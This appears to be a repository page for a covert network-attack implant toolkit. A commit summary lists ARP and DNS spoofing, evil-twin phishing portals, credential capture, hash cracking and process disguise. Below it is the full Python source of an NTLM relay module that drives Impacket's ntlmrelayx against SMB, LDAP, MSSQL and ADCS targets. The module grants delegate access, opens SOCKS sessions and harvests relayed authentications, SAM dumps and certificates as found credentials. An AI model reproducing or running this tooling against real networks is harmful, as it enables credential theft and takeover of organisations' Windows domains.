ba5143b560
Active modules (9 files in modules/active/): - bettercap_mgr: Central bettercap orchestrator with REST API health monitoring, event stream parsing, crash recovery with corrective gratuitous ARPs, caplet management, and process disguise - arp_spoof: Thin bettercap wrapper for ARP spoofing with OPSEC warnings - dns_poison: DNS poisoning with zone template loading support - dhcp_spoof: DHCPv6 spoofing via bettercap for rogue DNS injection - evil_twin: hostapd-based rogue AP with captive portal and dnsmasq, iptables redirect, credential capture via HTTP POST handler - ipv6_slaac: IPv6 SLAAC spoofing via bettercap + mitm6 WPAD abuse - responder_mgr: Responder subprocess manager with hash file monitoring, NTLMv1/v2 parsing, session log scanning, relay target coordination - mitmproxy_mgr: Transparent proxy with addon scripts, tier checking (OPi Zero 3+ only), iptables setup, credential/token extraction - ntlm_relay: ntlmrelayx wrapper with multi-protocol relay (SMB, LDAP, LDAPS, HTTP, MSSQL, ADCS), Responder exclusion coordination, SOCKS Templates (9 files): - 4 captive portals: corporate SSO, guest WiFi, Outlook/M365, VPN (self-contained HTML with inline CSS, realistic login forms) - 2 DNS zones: redirect-all and selective Jinja2 template - 2 hostapd configs: open AP and WPA2-PSK Jinja2 templates - 1 Responder.conf Jinja2 template with protocol toggles Operator scripts (6 files in scripts/operator/): - pull_data.sh: rsync structured data over WireGuard/Tailscale - extract_files.sh: tshark HTTP/SMB/FTP/TFTP file extraction - extract_print_jobs.sh: TCP/9100 print job reconstruction + PDF convert - extract_emails.sh: SMTP email extraction with attachment detection - crack_hashes.sh: Export creds to hashcat format, optional auto-crack - generate_report.py: SQLite-to-Markdown/HTML engagement report generator
377 lines
13 KiB
Python
377 lines
13 KiB
Python
#!/usr/bin/env python3
|
|
"""NTLM Relay module — ntlmrelayx subprocess wrapper.
|
|
|
|
Manages Impacket's ntlmrelayx for relaying captured NTLM authentication
|
|
to target services. Supports relay to SMB, LDAP, LDAPS, HTTP, MSSQL,
|
|
and ADCS endpoints. Coordinates with ResponderManager to exclude relay
|
|
targets from Responder's SMB authentication.
|
|
|
|
Resources: ~40MB RAM, ~5% CPU
|
|
"""
|
|
|
|
import logging
|
|
import os
|
|
import re
|
|
import subprocess
|
|
import threading
|
|
import time
|
|
from typing import Optional
|
|
|
|
from modules.base import BaseModule
|
|
|
|
logger = logging.getLogger("bb.active.ntlm_relay")
|
|
|
|
# Supported relay protocols
|
|
RELAY_PROTOCOLS = frozenset(["smb", "ldap", "ldaps", "http", "https", "mssql", "adcs"])
|
|
|
|
|
|
class NTLMRelay(BaseModule):
|
|
"""ntlmrelayx subprocess manager.
|
|
|
|
Relays captured NTLM authentication to target services. Works
|
|
in coordination with ResponderManager — targets being relayed
|
|
should be excluded from Responder's SMB server to avoid consuming
|
|
the authentication attempt locally.
|
|
|
|
Dependencies:
|
|
- Impacket installed (/opt/tools/impacket or pip install impacket)
|
|
- responder_mgr (optional, for coordination)
|
|
|
|
Configuration:
|
|
ntlmrelayx_binary: Path to ntlmrelayx.py
|
|
targets: List of relay target URLs (e.g., smb://10.0.0.0)
|
|
protocols: Set of relay protocols to use
|
|
adcs_template: ADCS certificate template for ESC attacks
|
|
"""
|
|
|
|
name = "ntlm_relay"
|
|
module_type = "active"
|
|
priority = 150
|
|
requires_root = True
|
|
|
|
OUTPUT_POLL_INTERVAL = 5
|
|
|
|
def __init__(self, bus, state, config, engine=None):
|
|
super().__init__(bus, state, config, engine)
|
|
self._proc: Optional[subprocess.Popen] = None
|
|
self._output_thread: Optional[threading.Thread] = None
|
|
self._ntlmrelayx_binary = config.get(
|
|
"ntlmrelayx_binary", "/opt/tools/impacket/examples/ntlmrelayx.py"
|
|
)
|
|
self._iface = config.get("interface", "eth0")
|
|
self._targets: list = []
|
|
self._protocols: set = set()
|
|
self._adcs_template: Optional[str] = None
|
|
self._relay_active = False
|
|
self._successful_relays: list = []
|
|
self._relays_lock = threading.Lock()
|
|
self._responder_mgr = None
|
|
self._target_file = os.path.join(
|
|
os.path.expanduser("~"), ".bigbrother", "relay_targets.txt"
|
|
)
|
|
self._loot_dir = os.path.join(
|
|
os.path.expanduser("~"), ".bigbrother", "ntlmrelay_loot"
|
|
)
|
|
|
|
# ------------------------------------------------------------------
|
|
# BaseModule interface
|
|
# ------------------------------------------------------------------
|
|
|
|
def start(self) -> None:
|
|
if self._running:
|
|
return
|
|
|
|
# Optional responder_mgr for coordination
|
|
self._responder_mgr = self.config.get("responder_mgr")
|
|
|
|
self._running = True
|
|
self._pid = os.getpid()
|
|
self._start_time = time.time()
|
|
|
|
os.makedirs(os.path.dirname(self._target_file), exist_ok=True)
|
|
os.makedirs(self._loot_dir, exist_ok=True)
|
|
|
|
self.state.set_module_status(self.name, "running", pid=self._pid)
|
|
logger.info("NTLMRelay module started (ready for relay commands)")
|
|
|
|
def stop(self) -> None:
|
|
if not self._running:
|
|
return
|
|
|
|
if self._relay_active:
|
|
self.stop_relay()
|
|
|
|
self._running = False
|
|
self.state.set_module_status(self.name, "stopped")
|
|
logger.info("NTLMRelay module stopped")
|
|
|
|
def status(self) -> dict:
|
|
proc_alive = self._proc is not None and self._proc.poll() is None
|
|
return {
|
|
"running": self._running,
|
|
"pid": self._pid,
|
|
"uptime": time.time() - self._start_time if self._start_time else 0,
|
|
"relay_active": self._relay_active and proc_alive,
|
|
"relay_pid": self._proc.pid if proc_alive else None,
|
|
"targets": self._targets,
|
|
"protocols": list(self._protocols),
|
|
"adcs_template": self._adcs_template,
|
|
"successful_relays": len(self._successful_relays),
|
|
}
|
|
|
|
def configure(self, config: dict) -> None:
|
|
self.config.update(config)
|
|
if "ntlmrelayx_binary" in config:
|
|
self._ntlmrelayx_binary = config["ntlmrelayx_binary"]
|
|
if "adcs_template" in config:
|
|
self._adcs_template = config["adcs_template"]
|
|
|
|
# ------------------------------------------------------------------
|
|
# Public API
|
|
# ------------------------------------------------------------------
|
|
|
|
def start_relay(self, targets: list, protocols: set = None) -> bool:
|
|
"""Start ntlmrelayx with specified targets and protocols.
|
|
|
|
Args:
|
|
targets: List of relay target URLs.
|
|
Format: "protocol://ip" (e.g., "smb://10.0.0.0")
|
|
Or plain IPs for default SMB relay.
|
|
protocols: Set of protocols to relay to. If None, inferred from targets.
|
|
|
|
Returns:
|
|
True if ntlmrelayx was started.
|
|
"""
|
|
if not self._running:
|
|
logger.error("NTLMRelay not started")
|
|
return False
|
|
|
|
if self._relay_active and self._proc and self._proc.poll() is None:
|
|
logger.warning("ntlmrelayx already running")
|
|
return True
|
|
|
|
self._targets = list(targets)
|
|
self._protocols = protocols or self._infer_protocols(targets)
|
|
|
|
# Write target file
|
|
self._write_target_file()
|
|
|
|
# Coordinate with Responder — exclude relay target IPs from SMB auth
|
|
self._update_responder_exclusions()
|
|
|
|
# Build command
|
|
cmd = self._build_command()
|
|
|
|
try:
|
|
self._proc = subprocess.Popen(
|
|
cmd,
|
|
stdout=subprocess.PIPE,
|
|
stderr=subprocess.PIPE,
|
|
cwd=self._loot_dir,
|
|
)
|
|
time.sleep(2)
|
|
if self._proc.poll() is not None:
|
|
stderr = self._proc.stderr.read().decode(errors="replace")
|
|
logger.error("ntlmrelayx failed to start: %s", stderr)
|
|
return False
|
|
|
|
self._relay_active = True
|
|
|
|
# Start output monitoring
|
|
self._output_thread = threading.Thread(
|
|
target=self._monitor_output, daemon=True, name="bb-ntlmrelay-monitor"
|
|
)
|
|
self._output_thread.start()
|
|
|
|
logger.info(
|
|
"ntlmrelayx started (pid=%d, targets=%d, protocols=%s)",
|
|
self._proc.pid, len(self._targets), self._protocols,
|
|
)
|
|
return True
|
|
|
|
except FileNotFoundError:
|
|
logger.error("ntlmrelayx.py not found at %s", self._ntlmrelayx_binary)
|
|
return False
|
|
except Exception:
|
|
logger.exception("Failed to start ntlmrelayx")
|
|
return False
|
|
|
|
def stop_relay(self) -> bool:
|
|
"""Stop ntlmrelayx.
|
|
|
|
Returns:
|
|
True if relay was stopped.
|
|
"""
|
|
if self._proc and self._proc.poll() is None:
|
|
try:
|
|
self._proc.terminate()
|
|
self._proc.wait(timeout=5)
|
|
except subprocess.TimeoutExpired:
|
|
self._proc.kill()
|
|
try:
|
|
self._proc.wait(timeout=2)
|
|
except Exception:
|
|
pass
|
|
except Exception:
|
|
logger.exception("Failed to stop ntlmrelayx")
|
|
return False
|
|
finally:
|
|
self._proc = None
|
|
|
|
self._relay_active = False
|
|
logger.info("ntlmrelayx stopped")
|
|
return True
|
|
|
|
def add_target(self, target: str) -> bool:
|
|
"""Add a relay target while ntlmrelayx is running.
|
|
|
|
Args:
|
|
target: Target URL (e.g., "smb://10.0.0.0").
|
|
|
|
Returns:
|
|
True if target was added (requires restart to take effect).
|
|
"""
|
|
if target not in self._targets:
|
|
self._targets.append(target)
|
|
self._write_target_file()
|
|
self._update_responder_exclusions()
|
|
logger.info("Added relay target: %s (restart relay to apply)", target)
|
|
return True
|
|
return False
|
|
|
|
# ------------------------------------------------------------------
|
|
# Internal helpers
|
|
# ------------------------------------------------------------------
|
|
|
|
def _build_command(self) -> list:
|
|
"""Build the ntlmrelayx command line."""
|
|
cmd = [
|
|
"python3", self._ntlmrelayx_binary,
|
|
"-tf", self._target_file,
|
|
"-of", os.path.join(self._loot_dir, "hashes"),
|
|
"-smb2support",
|
|
]
|
|
|
|
# ADCS relay
|
|
if self._adcs_template and "adcs" in self._protocols:
|
|
cmd.extend(["--adcs", "--template", self._adcs_template])
|
|
|
|
# LDAP relay options
|
|
if "ldap" in self._protocols or "ldaps" in self._protocols:
|
|
cmd.append("--delegate-access")
|
|
|
|
# SOCKS proxy for interactive sessions
|
|
cmd.append("-socks")
|
|
|
|
return cmd
|
|
|
|
def _write_target_file(self) -> None:
|
|
"""Write relay targets to file for ntlmrelayx -tf."""
|
|
try:
|
|
with open(self._target_file, "w") as f:
|
|
for target in self._targets:
|
|
f.write(f"{target}\n")
|
|
except Exception:
|
|
logger.exception("Failed to write target file")
|
|
|
|
def _infer_protocols(self, targets: list) -> set:
|
|
"""Infer relay protocols from target URLs."""
|
|
protocols = set()
|
|
for target in targets:
|
|
if "://" in target:
|
|
proto = target.split("://")[0].lower()
|
|
if proto in RELAY_PROTOCOLS:
|
|
protocols.add(proto)
|
|
else:
|
|
protocols.add("smb") # Default to SMB
|
|
return protocols or {"smb"}
|
|
|
|
def _update_responder_exclusions(self) -> None:
|
|
"""Update ResponderManager with IPs to exclude from SMB auth."""
|
|
if not self._responder_mgr:
|
|
return
|
|
|
|
# Extract IPs from target URLs
|
|
ips = set()
|
|
for target in self._targets:
|
|
if "://" in target:
|
|
ip_part = target.split("://")[1].split(":")[0].split("/")[0]
|
|
else:
|
|
ip_part = target.split(":")[0].split("/")[0]
|
|
ips.add(ip_part)
|
|
|
|
try:
|
|
self._responder_mgr.set_relay_targets(ips)
|
|
logger.info("Updated Responder relay exclusions: %s", ips)
|
|
except Exception:
|
|
logger.exception("Failed to update Responder exclusions")
|
|
|
|
# ------------------------------------------------------------------
|
|
# Output monitoring
|
|
# ------------------------------------------------------------------
|
|
|
|
def _monitor_output(self) -> None:
|
|
"""Monitor ntlmrelayx output for successful relays and loot."""
|
|
if not self._proc:
|
|
return
|
|
|
|
try:
|
|
for line in iter(self._proc.stdout.readline, b""):
|
|
if not self._running:
|
|
break
|
|
decoded = line.decode("utf-8", errors="replace").strip()
|
|
if not decoded:
|
|
continue
|
|
|
|
self._parse_relay_output(decoded)
|
|
|
|
if self._proc.poll() is not None:
|
|
break
|
|
except Exception:
|
|
pass
|
|
|
|
def _parse_relay_output(self, line: str) -> None:
|
|
"""Parse ntlmrelayx output for successful relay events."""
|
|
# Successful SMB relay
|
|
if "authenticated successfully" in line.lower():
|
|
relay_info = {
|
|
"timestamp": time.time(),
|
|
"type": "auth_success",
|
|
"detail": line,
|
|
}
|
|
with self._relays_lock:
|
|
self._successful_relays.append(relay_info)
|
|
self.bus.emit(
|
|
"CREDENTIAL_FOUND",
|
|
{
|
|
"source_module": self.name,
|
|
"target_service": "ntlm_relay",
|
|
"credential_type": "relay_success",
|
|
"credential_value": line,
|
|
},
|
|
source_module=self.name,
|
|
)
|
|
logger.info("Successful NTLM relay: %s", line)
|
|
|
|
# Secretsdump from relay
|
|
elif "dumping" in line.lower() and "sam" in line.lower():
|
|
logger.info("ntlmrelayx SAM dump: %s", line)
|
|
|
|
# ADCS certificate obtained
|
|
elif "certificate" in line.lower() and ("saved" in line.lower() or "base64" in line.lower()):
|
|
self.bus.emit(
|
|
"CREDENTIAL_FOUND",
|
|
{
|
|
"source_module": self.name,
|
|
"target_service": "adcs_relay",
|
|
"credential_type": "certificate",
|
|
"credential_value": line,
|
|
},
|
|
source_module=self.name,
|
|
)
|
|
logger.info("ADCS certificate obtained via relay: %s", line)
|
|
|
|
# SOCKS proxy opened
|
|
elif "socks" in line.lower() and "connection" in line.lower():
|
|
logger.info("ntlmrelayx SOCKS: %s", line)
|